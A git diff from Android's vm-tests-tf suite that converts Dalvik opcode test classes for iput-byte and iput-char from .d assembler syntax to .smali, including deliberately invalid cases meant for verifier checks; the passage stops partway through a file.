--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_31.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_31
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-byte v1, v0, dot.junit.opcodes.iput_byte.d.T_iput_byte_31.st_i1 B
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali
new file mode 100644
index 0000000..4f58b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_31.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    const v1, 0
+    iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_31;->st_i1:B
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d
deleted file mode 100644
index 18a254f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_4.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_4
-.super java/lang/Object
-
-.field public  st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-byte v3, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_4.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali
new file mode 100644
index 0000000..f931b55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_4.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-byte v3, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_4;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d
deleted file mode 100644
index 4ac5aa9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_7.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_7
-.super java/lang/Object
-
-.field public static st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_7.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali
new file mode 100644
index 0000000..86200c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_7.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_7;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d
deleted file mode 100644
index 34b537c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_8.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_byte/TestStubs/<init>()V
-
-       const v1, 0
-       iput-byte v1, v0, dot.junit.opcodes.iput_byte.TestStubs.TestStubField B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali
new file mode 100644
index 0000000..0f06684
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_8.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_8.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_byte/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_byte/TestStubs;-><init>()V
+
+       const v1, 0
+       iput-byte v1, v0, Ldot/junit/opcodes/iput_byte/TestStubs;->TestStubField:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d
deleted file mode 100644
index 338b321..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_byte_9.java
-.class public dot.junit.opcodes.iput_byte.d.T_iput_byte_9
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       iput-byte v1, v2, dot.junit.opcodes.iput_byte.d.T_iput_byte_9noclass.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali
new file mode 100644
index 0000000..5875985
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_byte/d/T_iput_byte_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_byte_9.java"
+.class  public Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-byte v1, v2, Ldot/junit/opcodes/iput_byte/d/T_iput_byte_9noclass;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d
deleted file mode 100644
index 1872727..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_1.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_1
-.super java/lang/Object
-
-.field public  st_i1 C
-.field protected  st_p1 C
-.field private  st_pvt1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public  getPvtField()C
-.limit regs 2
-
-       iget-char v0, v1, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_pvt1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali
new file mode 100644
index 0000000..2615fae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_1.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+.field protected  st_p1:C
+.field private  st_pvt1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public  getPvtField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d
deleted file mode 100644
index 466cad9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_10.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_10
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_10.st_i1N C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali
new file mode 100644
index 0000000..b436253
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_10.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_10;->st_i1N:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d
deleted file mode 100644
index cd32504..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_11.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/TestStubs/<init>()V
-
-       const v1, 1
-       iput-char v1, v0, dot.junit.opcodes.iput_char.TestStubs.TestStubFieldFinal C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali
new file mode 100644
index 0000000..1fe64a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_11.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_11.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iput_char/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/TestStubs;-><init>()V
+
+       const v1, 1
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/TestStubs;->TestStubFieldFinal:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d
deleted file mode 100644
index 9aeb2cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_12.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_12
-.super java/lang/Object
-
-.field public  final st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_12.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali
new file mode 100644
index 0000000..b26c242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_12.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_12;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d
deleted file mode 100644
index 9cbce64..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_13.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_13
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 0
-       const v1, 77
-       iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_13.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali
new file mode 100644
index 0000000..66b858e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_13.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_13.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_13;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 0
+       const v1, 77
+       iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_13;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d
deleted file mode 100644
index 71dca61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_14.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_14
-.super dot/junit/opcodes/iput_char/d/T_iput_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/d/T_iput_char_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()C
-.limit regs 2
-
-       iget-char v0, v1, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_p1 C
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_p1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali
new file mode 100644
index 0000000..488b7ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_14.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_14;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()C
+.registers 2
+
+       iget-char v0, v1, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
